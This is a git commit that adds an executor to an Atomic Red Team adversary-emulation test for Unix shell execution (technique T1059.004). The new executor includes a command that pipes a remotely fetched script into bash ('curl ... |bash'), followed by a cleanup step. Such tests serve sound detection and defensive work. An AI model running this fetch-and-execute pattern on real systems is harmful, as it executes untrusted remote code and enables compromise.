Update T1059.004.yaml

Add executor
This commit is contained in:
Alonso Cárdenas
2023-11-01 19:16:09 -05:00
committed by GitHub
parent 0c13f29a1f
commit f355273f8a
+11
View File
@@ -304,6 +304,17 @@ atomic_tests:
if [ -x "$(command -v curl)" ]; then echo "curl is installed"; else echo "curl is NOT installed"; exit 1; fi
get_prereq_command: |
pkg update && pkg install -y curl
executor:
name: sh
elevation_required: false
command: |
cd /tmp
curl -s #{remote_url}
ls -la /tmp/art.txt
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
cleanup_command: |
rm /tmp/art.txt
- name: Current kernel information enumeration
auto_generated_guid: 3a53734a-9e26-4f4b-ad15-059e767f5f14
description: |